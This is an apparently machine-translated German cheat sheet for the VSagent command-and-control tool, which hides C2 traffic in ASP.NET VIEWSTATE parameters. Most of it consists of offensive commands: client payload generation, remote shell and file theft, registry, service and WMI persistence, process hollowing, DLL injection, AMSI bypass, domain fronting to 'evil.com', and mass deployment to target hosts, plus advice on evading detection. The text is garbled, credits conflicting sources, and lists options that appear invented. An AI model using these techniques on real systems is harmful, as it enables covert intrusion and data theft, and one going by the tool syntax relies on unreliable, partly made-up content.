VSagent Cheat Sheet¶
Überblick¶
VSagent ist ein spezialisiertes Befehls- und Steuerungstool (C2), das von Black Hills Information Security (BHIS) entwickelt wurde, das den C2-Verkehr innerhalb des __VIEWSTATE-Parameters von Webanwendungen clever verbirgt. Dieser innovative Ansatz nutzt die Tatsache, dass ASP. NET-Anwendungen verwenden häufig große, base64-codierte VIEWSTATE-Parameter, wodurch schädlicher Verkehr nahtlos mit legitimen Web-Anwendungskommunikation. Das Tool stellt eine anspruchsvolle Evasionstechnik dar, die die Ubiquität und das erwartete Verhalten von Web Application Frameworks nutzt, um verdeckte Kommunikationskanäle zu etablieren.
Die primäre Stärke von VSagent liegt in seiner Fähigkeit, C2-Kommunikation als normaler Web-Anwendungsverkehr zu masquerade. Durch die Einbettung von Befehls- und Steuerdaten innerhalb der VIEWSTATE-Parameter macht das Tool die Erkennung deutlich anspruchsvoller für herkömmliche Netzwerküberwachungslösungen. Sicherheitsteams übersehen oft den VIEWSTATE-Verkehr, da es scheint, Standard-Web-Anwendungsverhalten zu sein, wodurch eine effektive Blindstelle, die VSagent ausnutzt. Diese Technik ist besonders wertvoll in Umgebungen mit strenger Netzwerküberwachung und wo traditionelle C2-Protokolle schnell erkannt und blockiert werden.
VSagent arbeitet nach dem Prinzip des Verstecks in Sicht, die Nutzung der legitimen Infrastruktur und erwartete Verkehrsmuster von Web-Anwendungen zur Aufrechterhaltung von Persistenz und Kommunikation mit gefährdeten Systemen. Das Design des Tools spiegelt ein tiefes Verständnis der Einschränkungen der Web-Anwendungsarchitektur und der Netzwerksicherheit wider, was es zu einer wertvollen Ergänzung zu roten Team-Arsenalen und Penetrations-Test-Toolkits macht.
Installation¶
Voraussetzungen¶
VSagent benötigt eine Webserver-Umgebung, die ASP handhaben kann. NET-Anwendungen oder ähnliche Frameworks, die VIEWSTATE-Parameter nutzen:
```bash
Install required dependencies¶
sudo apt update sudo apt install git python3 python3-pip
Install web server components¶
sudo apt install apache2 nginx ```_
Gierinstallation¶
```bash
Clone VSagent repository¶
git clone https://github.com/nccgroup/VSagent.git cd VSagent
Install Python dependencies¶
pip3 install -r requirements.txt
Make scripts executable¶
chmod +x *.py chmod +x *.sh ```_
Docker Installation¶
```bash
Build VSagent container¶
docker build -t vsagent .
Run VSagent container¶
docker run -d -p 80:80 -p 443:443 vsagent
Access container shell¶
docker exec -it vsagent /bin/bash ```_
Basisnutzung¶
Server Setup¶
Einrichtung der VSagent-Server-Komponente, um C2-Kommunikation zu bewältigen:
```bash
Start VSagent server¶
python3 vsagent_server.py --port 8080 --interface 0.0.0.0
Start with SSL/TLS¶
python3 vsagent_server.py --port 443 --ssl --cert server.crt --key server.key
Start with custom VIEWSTATE key¶
python3 vsagent_server.py --port 8080 --viewstate-key "custom_key_here"
Enable verbose logging¶
python3 vsagent_server.py --port 8080 --verbose
Start with authentication¶
python3 vsagent_server.py --port 8080 --auth-token "secure_token_123" ```_
Kundenbetreuung¶
Bereitstellung von VSagent-Clients auf Zielsystemen:
```bash
Generate client payload¶
python3 generate_client.py --server 192.168.1.100 --port 8080
Generate PowerShell client¶
python3 generate_client.py --server 192.168.1.100 --port 8080 --format powershell
Generate with custom User-Agent¶
python3 generate_client.py --server 192.168.1.100 --port 8080 --user-agent "Mozilla/5.0 Custom"
Generate with proxy support¶
python3 generate_client.py --server 192.168.1.100 --port 8080 --proxy 192.168.1.50:3128
Generate encrypted client¶
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key" ```_
Ausführung des Befehls¶
Befehle ausführen durch VSagent C2 Kanal:
```bash
List active agents¶
vsagent> list
Select agent for interaction¶
vsagent> use agent_001
Execute system command¶
agent_001> shell whoami
Execute PowerShell command¶
agent_001> powershell Get-Process
Upload file to agent¶
agent_001> upload /local/path/file.txt C:\temp\file.txt
Download file from agent¶
agent_001> download C:\temp\data.txt /local/path/data.txt
Execute in-memory .NET assembly¶
agent_001> execute-assembly /path/to/assembly.exe arguments ```_
Erweiterte Funktionen¶
VIEWSTATE Handhabung¶
Erweiterte Techniken zur Manipulation von VIEWSTATE-Parametern:
```bash
Custom VIEWSTATE encoding¶
python3 vsagent_server.py --viewstate-encoding base64
Multiple VIEWSTATE keys rotation¶
python3 vsagent_server.py --viewstate-keys key1,key2,key3 --rotation-interval 3600
VIEWSTATE compression¶
python3 vsagent_server.py --viewstate-compress gzip
Custom VIEWSTATE validation¶
python3 vsagent_server.py --viewstate-validation custom
VIEWSTATE fragmentation¶
python3 vsagent_server.py --viewstate-fragment --fragment-size 1024 ```_
Verkehrsobfukation¶
Durchführung von Verkehrsobfukationstechniken:
```bash
Random delay between communications¶
agent_001> set delay 30-120
Custom HTTP headers¶
agent_001> set headers "X-Custom-Header: value"
User-Agent rotation¶
agent_001> set user-agents "Mozilla/5.0...,Chrome/91.0...,Safari/14.0..."
Referrer spoofing¶
agent_001> set referrer "https://legitimate-site.com"
Cookie manipulation¶
agent_001> set cookies "session=abc123; auth=xyz789" ```_
Persistenzmechanismen¶
Beharrlichkeit durch VSagent:
```bash
Registry persistence¶
agent_001> persist registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "VSagent"
Scheduled task persistence¶
agent_001> persist task --name "SystemUpdate" --trigger daily --time "09:00"
Service persistence¶
agent_001> persist service --name "VSagentSvc" --display "System Update Service"
WMI persistence¶
agent_001> persist wmi --namespace "root\subscription" --consumer "VSagentConsumer"
Startup folder persistence¶
agent_001> persist startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" ```_
Evasion Techniken¶
Netzwerk Evasion¶
Implementierung von Netzwerk-Level Evasion:
```bash
Domain fronting¶
python3 vsagent_server.py --domain-front cdn.cloudflare.com --real-domain evil.com
DNS over HTTPS¶
python3 vsagent_server.py --dns-over-https --doh-server https://1.1.1.1/dns-query
Traffic shaping¶
python3 vsagent_server.py --traffic-shape --min-delay 5 --max-delay 30
Protocol tunneling¶
python3 vsagent_server.py --tunnel-protocol https --tunnel-port 443
Proxy chaining¶
python3 vsagent_server.py --proxy-chain "proxy1:8080,proxy2:3128,proxy3:1080" ```_
Host-basierte Evasion¶
Evading hostbasierte Erkennung:
```bash
Process hollowing¶
agent_001> hollow-process notepad.exe payload.exe
DLL injection¶
agent_001> inject-dll target_process.exe malicious.dll
Memory patching¶
agent_001> patch-memory process_name offset shellcode
AMSI bypass¶
agent_001> bypass-amsi
ETW evasion¶
agent_001> disable-etw ```_
Antianalyse¶
Durchführung von Antianalyseverfahren:
```bash
Sandbox detection¶
agent_001> detect-sandbox
Virtual machine detection¶
agent_001> detect-vm
Debugger detection¶
agent_001> detect-debugger
Analysis tool detection¶
agent_001> detect-analysis-tools
Environment fingerprinting¶
agent_001> fingerprint-environment ```_
Automatisierungsskripte¶
Bereitstellungsautomatisierung¶
```bash
!/bin/bash¶
VSagent deployment automation¶
Set variables¶
SERVER_IP="192.168.1.100" SERVER_PORT="8080" TARGET_LIST="targets.txt"
Generate clients for multiple targets¶
while IFS= read -r target; do echo "Generating client for $target" python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target
# Deploy client
scp vsagent_client.exe user@$target:/tmp/
ssh user@$target "cd /tmp && ./vsagent_client.exe"
done < "$TARGET_LIST"
echo "Deployment completed" ```_
Befehlsausschreibung¶
```bash
!/bin/bash¶
VSagent command automation¶
Connect to VSagent server¶
python3 -c " import vsagent_client
Initialize connection¶
client = vsagent_client.VSagentClient('192.168.1.100', 8080)
Execute command sequence¶
commands = [ 'shell whoami', 'shell hostname', 'powershell Get-Process', 'download C:\temp\data.txt /tmp/data.txt' ]
for cmd in commands: result = client.execute(cmd) print(f'Command: \\{cmd\\}') print(f'Result: \\{result\\}') print('-' * 50) " ```_
Überwachung von Skript¶
```python
!/usr/bin/env python3¶
VSagent monitoring script¶
import time import requests import json
def monitor_vsagent_traffic(): """Monitor VSagent C2 traffic"""
server_url = "http://192.168.1.100:8080"
while True:
try:
# Check server status
response = requests.get(f"\\\\{server_url\\\\}/status")
if response.status_code == 200:
data = response.json()
print(f"Active agents: \\\\{data['active_agents']\\\\}")
print(f"Total commands: \\\\{data['total_commands']\\\\}")
print(f"Data transferred: \\\\{data['data_transferred']\\\\}")
# Log agent activity
for agent in data['agents']:
print(f"Agent \\\\{agent['id']\\\\}: Last seen \\\\{agent['last_seen']\\\\}")
time.sleep(60)
except Exception as e:
print(f"Monitoring error: \\\\{e\\\\}")
time.sleep(30)
if name == "main": monitor_vsagent_traffic() ```_
Integrationsbeispiele¶
SIEM Integration¶
Integration von VSagent mit SIEM-Systemen:
```bash
Splunk integration¶
python3 vsagent_server.py --siem-output splunk --splunk-host splunk.company.com --splunk-port 8089
ELK Stack integration¶
python3 vsagent_server.py --siem-output elasticsearch --es-host elastic.company.com --es-port 9200
QRadar integration¶
python3 vsagent_server.py --siem-output qradar --qradar-host qradar.company.com --qradar-port 514
Custom SIEM integration¶
python3 vsagent_server.py --siem-output custom --siem-script /path/to/custom_siem.py ```_
Threat Intelligence Integration¶
```python
!/usr/bin/env python3¶
VSagent threat intelligence integration¶
import requests import json
def integrate_threat_intel(): """Integrate with threat intelligence platforms"""
# VirusTotal integration
vt_api_key = "your_vt_api_key"
# Check IOCs
iocs = ["192.168.1.100", "evil.com", "malicious.exe"]
for ioc in iocs:
url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}
response = requests.get(url, params=params)
if response.status_code == 200:
data = response.json()
print(f"IOC \\\\{ioc\\\\}: \\\\{data['response_code']\\\\}")
if name == "main": integrate_threat_intel() ```_
Fehlerbehebung¶
Gemeinsame Themen¶
Kontaktprobleme: ```bash
Check network connectivity¶
ping target_server
Verify port accessibility¶
telnet target_server 8080
Check firewall rules¶
sudo iptables -L|grep 8080
Test with curl¶
curl -v http://target_server:8080 ```_
VIEWSTATE Ausgaben: ```bash
Validate VIEWSTATE format¶
python3 validate_viewstate.py --input viewstate_data
Debug VIEWSTATE parsing¶
python3 vsagent_server.py --debug-viewstate
Check VIEWSTATE size limits¶
python3 check_viewstate_limits.py --server target_server ```_
Leistungsfragen: ```bash
Monitor resource usage¶
top -p $(pgrep vsagent)
Check memory usage¶
ps aux|grep vsagent
Monitor network traffic¶
netstat -an|grep 8080
Check disk space¶
df -h ```_
Debugging¶
Debugging aktivieren:
```bash
Enable debug mode¶
python3 vsagent_server.py --debug --log-level DEBUG
Capture network traffic¶
tcpdump -i eth0 -w vsagent_traffic.pcap port 8080
Analyze logs¶
tail -f /var/log/vsagent.log
Memory debugging¶
valgrind --tool=memcheck python3 vsagent_server.py ```_
Sicherheitsüberlegungen¶
Operationelle Sicherheit¶
Kommunikationssicherheit: - Verwenden Sie immer HTTPS/TLS für C2-Kommunikation - Implementieren Sie Zertifikat Pinning zu verhindern MITM Angriffe - Verwenden Sie eine starke Verschlüsselung für die Nutzlastübertragung - Verschlüsselungsschlüssel regelmäßig drehen
Infrastruktursicherheit: - Bereitstellung von C2-Servern hinter CDNs oder Redirectors - Verwendung von Domain-Fronttechniken, wenn möglich - Implementierung IP Whitelist für administrativen Zugriff - Regelmäßige Sicherheitsupdates und Patches
** Nachweisvermeidung:** - Vary Kommunikationsmuster und Timing - Verwenden Sie legitim aussehende User-Agent-Strings - Implementieren Jitter in Beacon Intervallen - Monitor für defensive Gegenmaßnahmen
Rechtliche und ethische Überlegungen¶
Authorized Testing Only: - Erhalten Sie eine ordnungsgemäße schriftliche Genehmigung vor der Bereitstellung - Umfang und Einschränkungen eindeutig definieren - Dokumentation aller Tätigkeiten für die Einhaltung - Verantwortliche Offenlegungspraktiken
Datenschutz: - Verschlüsseln Sie sensible Daten im Transit und im Ruhezustand - Implementierung sicherer Datenlöschverfahren - Datenschutz und Vertraulichkeit - Entspricht den geltenden Datenschutzbestimmungen
Referenzen¶
- Black Hills Information Security - VSagent
- (VIEWSTATE) Sicherheitsforschung](LINK_5__
- C2 Evasionstechniken
- Web Application Security Testing
- [Network Security Monitoring](LINK_5_